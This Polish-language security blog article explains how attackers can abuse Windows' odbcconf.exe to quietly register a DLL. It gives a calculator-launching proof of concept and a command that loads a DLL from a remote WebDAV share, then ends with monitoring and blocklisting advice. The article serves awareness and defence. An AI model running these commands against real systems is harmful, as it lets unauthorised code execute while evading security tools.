Na kapitanie wielokrotnie pisaliśmy już o wbudowanych w system operacyjny narzędziach (LotL), które pozwalają cyberprzestępcom omijać zabezpieczenia. Dzisiaj, zgodnie z tradycją, napiszemy o nowym sposobie wykorzystującym wbudowane narzędzie odbcconf.exe.


Do czego służy narzędzie odbcconf.exe?

Jest to wbudowane narzędzie w wiersz poleceń Windows, które umożliwia konfigurowanie sterowników ODBC i nazw źródeł danych. Taka „zaprzeszła staroć”, ale nadal używana i obecna w każdym Windows. Zgodnie z zapowiedziami firmy Microsoft ODBCCONF.exe zostanie usunięty w przyszłej wersji składników Windows Data Access Components. Producent zaleca unikania korzystania i planuje modyfikacje aplikacji, które obecnie używają tej funkcji. Całość funkcjonalności ma zostać przeniesiona do PowerShell.
Oznacza to tyle, że w obecnej chwili narzędzie odbcconf.exe stanowi swoistego trupa, o którym mało kto wie, a który może narobić wielu szkód. Trzeba pamiętać, że nadal w pełni funkcjonuje i w Świecie cyberprzestępczości może zostać użyty do złych celów, które opiszemy na poniższym przykładzie.


Dwa ciekawe przełączniki w odbcconf

Spoglądając na dokumentację odbcconf.exe dowiemy się w niej, że posiada dwa ciekawe przełączniki. Pierwszy „/S” – do uruchomienia komendy w trybie cichym oraz bez zwracania wyników i błędów w wierszu poleceń oraz drugi „/A” – do wywołania określonych akcji.
Najciekawszy w działaniu jest dla nas przełącznik „/A”, po którym w nawiasie „{}„ możemy podać akcję np. „REGSVR” – będącą odpowiednikiem słynnego narzędzia „regsvr32.exe” rejestrującego w systemie bibliotekę DLL. Nazwę biblioteki musimy podać po spacji. Warunek jest jeden – w kodzie biblioteki musimy użyć funkcji DllExport używanej w bibliotece RGiesecke.

Skoro możemy zarejestrować w systemie w niezauważony sposób (inny niż regsvr32.exe) dowolną bibliotekę, dla cyberprzestępcy może to oznaczać, że dostarczając na komputer ofiary złośliwą bibliotekę DLL malware lub wręcz kompilując kod przy użyciu narzędzia csc.exe (patrz przykład), będzie mógł korzystać z jej funkcji w systemie.


Przykład uruchomienia złośliwego kodu na komputerze

Dzisiaj zrobimy wyjątek w Dniu Świstaka. Powstrzymamy się, choć niechętnie, od rozwijania papierka i nie będziemy przeprowadzać testów złośliwego kodu na VirusTotal. Zostawimy to do sprawdzenia Tobie Drogi Czytelniku. W teście ograniczyliśmy się do uruchomienia kalkulatora.
Poniższy kod napisany w C# musimy skompilować do biblioteki DLL na komputerze i uruchomić zgodnie z poniższymi wskazówkami.


Krok 1. Utworzenie kodu biblioteki z wywołaniem z linii poleceń kalkulatora.

Krok 2. Kompilacja kodu do DLL.

Możemy do tego użyć narzędzia „csc.exe” znajdującego się w katalogu „C:\windows\Microsoft.Net\Framevork64\v4.0.x.x.x” lub Visual Studio.


Krok 3. Załadowanie do systemu złośliwej biblioteki DLL.

Wykonamy to uruchamiając polecenie z wiersza poleceń:

odbcconf.exe /S /A {REGSVR odbcconf.dll}

Bibliotekę możemy też załadować z udziału sieciowego, jeśli jest włączona obsługa WebDAV:

odbcconf.exe /S /A {REGSVR \\serverwebdav\pliki\odbcconf.dll}

W wyniku wykonania naszej komendy uruchomi się kalkulator, ale równie dobrze może to być inny złośliwy kod.


Jak się chronić?

Przede wszystkim monitorować wywołania procesów (ich źródło) i dodać aplikację „odbcconfig.exe” do czarnej listy blokowanych aplikacji (oczywiście tylko tam, gdzie jej nie wykorzystujemy). Resztę porad znajdziesz na końcu naszego ciekawego artykułu tutaj.

Podziel się z innymi tym artykułem!